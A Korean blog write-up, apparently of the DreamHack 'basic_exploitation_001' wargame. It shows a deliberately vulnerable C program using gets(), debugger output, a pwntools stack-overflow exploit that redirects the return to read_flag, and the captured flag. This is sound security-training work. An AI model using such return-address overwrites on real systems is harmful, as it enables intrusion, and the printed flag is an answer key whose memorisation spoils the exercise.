rsp-∞
[DreamHack] basic_exploitation_001 본문
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
basic_exploitation_001의 c 코드 파일이다. main에서 길이를 체크하지 않는 함수인 gets(buf)가 취약점인 것을 쉽게 알 수 있다. 또한 read_flag 파일이 시스템으로 하여금 flag 파일을 읽게 하고 있으므로 read_flag 함수가 관건이라고 볼 수 있을 것 같다.
내가 Bomb lab을 풀면서 유용하게 썼던 info 명령어를 다시 써 보자 하는 생각이 들었다. 찾아보니 info로 프로그램의 모든 함수를 출력해서 볼 수 있다.
pwndbg> info functions
All defined functions:
Non-debugging symbols:
0x08048398 _init
0x080483d0 gets@plt
0x080483e0 signal@plt
0x080483f0 alarm@plt
0x08048400 puts@plt
0x08048410 system@plt
0x08048420 exit@plt
0x08048430 __libc_start_main@plt
0x08048440 setvbuf@plt
0x08048450 __gmon_start__@plt
0x08048460 _start
0x08048490 __x86.get_pc_thunk.bx
0x080484a0 deregister_tm_clones
0x080484d0 register_tm_clones
0x08048510 __do_global_dtors_aux
0x08048530 frame_dummy
0x0804855b alarm_handler
0x08048572 initialize
0x080485b9 read_flag
0x080485cc main
0x080485f0 __libc_csu_init
0x08048650 __libc_csu_fini
0x08048654 _fini
플래그를 읽어 오는 함수 read_flag의 주소는 0x080485b9이다. 이제 스택 프레임의 구조를 파악해서 얼마나 많은 값을 앞에서 채우고 ret에 이 read_flag 함수의 주소를 넣어야 할지 생각해 보자.
pwndbg> disassemble main
Dump of assembler code for function main:
0x080485cc <+0>: push ebp
0x080485cd <+1>: mov ebp,esp
0x080485cf <+3>: add esp,0xffffff80
0x080485d2 <+6>: call 0x8048572 <initialize>
0x080485d7 <+11>: lea eax,[ebp-0x80]
0x080485da <+14>: push eax
0x080485db <+15>: call 0x80483d0 <gets@plt>
0x080485e0 <+20>: add esp,0x4
0x080485e3 <+23>: mov eax,0x0
0x080485e8 <+28>: leave
0x080485e9 <+29>: ret
End of assembler dump.
main을 디스어셈블해 보니 이와 같다. 스택의 기본 구조를 생각해 보면 128 바이트의 버퍼, 4바이트의 SFP와 ret이 있다. 결국 gets 함수를 통해 0x132를 입력하고 그 다음 메모리 주소에 닿으면 ret이 실행되므로 그 자리에 read_flag 함수의 주소를 넣으면 될 것 같다. 익스플로잇 코드를 짜 보자.
from pwn import *
p=remote("host3.dreamhack.games", 18290)
elf = ELF('./basic_exploitation_001')
read_flag = elf.symbols['read_flag']
payload=b'A'*0x128
payload+=b'B'*0x4
payload+=p32(read_flag)
p.sendline(payload)
p.interactive()
다음과 같이 익스플로잇 코드를 작성하였다. 그러나 이를 실행하는 과정에서 자꾸 Got EOF while reading in interactive 오류가 발생했다. payload에서 버퍼와 SFP에 A와 B를 넣는 과정에서 앞에 0x를 지워 주며 해결했다.
$ python3 exploit001.py
[+] Opening connection to host3.dreamhack.games on port 18290: Done
[*] '/home/chaehyeonkim/Documents/35c38fa8-c2db-4f16-853b-07a9c63b9280/basic_exploitation_001'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Switching to interactive mode
DH{01ec06f5e1466e44f86a79444a7cd116}[*] Got EOF while reading in interactive
DH{}에서 플래그를 발견할 수 있다.
'Write-ups > system' 카테고리의 다른 글
[DreamHack] shell_basic (0) | 2024.05.12 |
---|---|
[DreamHack] basic_exploitation_000 (0) | 2024.03.30 |
[DreamHack] Return Address Overwrite 쉘 획득하기 (0) | 2024.03.30 |
[Bomb Lab] Phase_3 (0) | 2024.03.23 |
[Bomb Lab] Phase_2 (0) | 2024.03.23 |